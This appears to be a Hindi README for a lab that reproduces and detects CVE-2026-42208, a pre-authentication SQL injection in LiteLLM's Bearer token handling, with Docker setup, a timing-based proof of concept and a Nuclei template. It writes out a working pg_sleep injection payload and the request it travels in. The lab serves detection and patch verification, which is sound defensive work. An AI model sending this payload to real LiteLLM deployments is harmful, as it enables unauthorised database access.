
CVE-2026-42208 को पुन: उत्पन्न करने और पहचानने के लिए एक लैब वातावरण, जो LiteLLM में एक गंभीर प्री-ऑथेंटिकेशन SQL इंजेक्शन भेद्यता है, जहाँ बिना सैनिटाइज़ किए गए Bearer टोकन एक कच्चे PostgreSQL क्वेरी तक पहुँचते हैं।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-42208 |
| GHSA | GHSA-r75f-5x8p-qvmc |
| CVSS | 9.3 (गंभीर) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| प्रभावित संस्करण | >= 1.81.16, < 1.83.7 |
| पैच किया गया | v1.83.7 (पैरामीटराइज़्ड क्वेरी) |
| CWE | CWE-89 (SQL इंजेक्शन) |
Vulnerable (v1.83.6):
POST /v1/chat/completions
Authorization: Bearer <payload> ← payload does NOT start with "sk-"
→ api_key.startswith("sk-") assertion fails (utils.py:1189)
→ caught by except Exception (utils.py:1560)
→ _handle_authentication_error(api_key=RAW_PAYLOAD)
→ _enrich_failure_metadata_with_key_info()
→ get_data(token=RAW_PAYLOAD, table_name="combined_view")
→ SQL: WHERE v.token = '{payload}' ← injection
Patched (v1.83.7):
Same request path, but:
→ get_data(token=hashed_token, ...)
→ SQL: WHERE v.token = $1 ← parameterized, no injection
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ VULNERABLE)
│ Docker: litellm-db-vuln (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ PATCHED)
Docker: litellm-db-patched (PostgreSQL 15)
| टूल | इंस्टॉल |
|---|---|
| Docker Desktop | docker.com |
| nuclei | brew install nuclei |
| curl, python3 | macOS पर पहले से इंस्टॉल |
bash scripts/01-setup.sh
पूर्ण होने पर:
══════════════════════════════════════════════════════
Lab ready!
Vulnerable (v1.83.6-nightly) : http://localhost:8010
Patched (v1.83.7-stable) : http://localhost:8011
Master Key : sk-lab-master-key
Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
bash scripts/02-exploit.sh
अपेक्षित आउटपुट — भेद्य (v1.83.6-nightly):
── Vulnerable (v1.83.6-nightly, port 8010) ──
Baseline : 0.031s
Injection : 6.062s (HTTP 401)
Delta : +6.031s
⚠ RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)
अपेक्षित आउटपुट — पैच किया गया (v1.83.7-stable):
── Patched (v1.83.7-stable, port 8011) ──
Baseline : 0.028s
Injection : 0.029s (HTTP 401)
Delta : +0.001s
✓ RESULT: No significant delay — injection not executed (PATCHED)
# Vulnerable instance → should produce a [critical] finding
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010
# Patched instance → should produce no findings
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
भेद्य (v1.83.6-nightly):

पैच किया गया (v1.83.7-stable):

bash scripts/99-teardown.sh
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md # Code-level analysis (English)
├── LAB_SETUP_GUIDE.md # Lab setup guide (English)
├── NUCLEI_TEMPLATE_GUIDE.md # Nuclei template design (English)
├── docker-compose.yaml
│
├── REPORT/ # Korean reports
│ ├── Vulnerability_Analysis_KR.md
│ ├── LAB_REPORT_KR.md
│ └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│ └── CVE-2026-42208.yaml # Nuclei detection template
│
└── scripts/
├── 01-setup.sh # Start containers, create seed key
├── 02-exploit.sh # PoC: timing-based injection proof
└── 99-teardown.sh # Stop and remove all lab resources
Step 1 GET /health/liveliness
→ match "I am alive" in body
→ confirms target is a LiteLLM instance
Step 2 POST /v1/chat/completions
Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --
Matchers (AND — all must pass):
status == 401 eliminates 504/502 false positives
body contains "auth_error" OR "Authentication Error"
confirms LiteLLM auth path, not a proxy
duration >= 5 pg_sleep(6) fired → injection confirmed
फ़ॉल्स पॉज़िटिव रोकथाम:
status == 401 अपस्ट्रीम टाइमआउट (504) और गेटवे त्रुटियों (502) से उत्पन्न प्रतिसादों को समाप्त करता हैduration >= 5 नेटवर्क जिटर को बाहर करने के लिए पर्याप्त रूप से उच्च है (बेसलाइन ≤0.5s है)चेतावनी: इस लैब के सभी क्रेडेंशियल केवल सुरक्षा अनुसंधान उद्देश्यों के लिए नकली परीक्षण डेटा हैं। इन्हें प्रोडक्शन में कभी उपयोग न करें। जिन सिस्टम्स के स्वामी आप नहीं हैं, उन्हें स्कैन करने से पहले हमेशा स्पष्ट प्राधिकरण प्राप्त करें।
| # | शर्त | विवरण |
|---|
| 1 | प्रभावित LiteLLM संस्करण | >= 1.81.16, < 1.83.7 |
| 2 | PostgreSQL बैकएंड | SQLite डिप्लॉयमेंट प्रभावित नहीं होते |
| 3 | कोई प्रमाणीकरण आवश्यक नहीं | प्री-ऑथ; शून्य क्रेडेंशियल चाहिए |
| 4 | VerificationToken में ≥1 पंक्ति | pg_sleep केवल प्रति पंक्ति चलता है; खाली तालिका = कोई विलंब नहीं |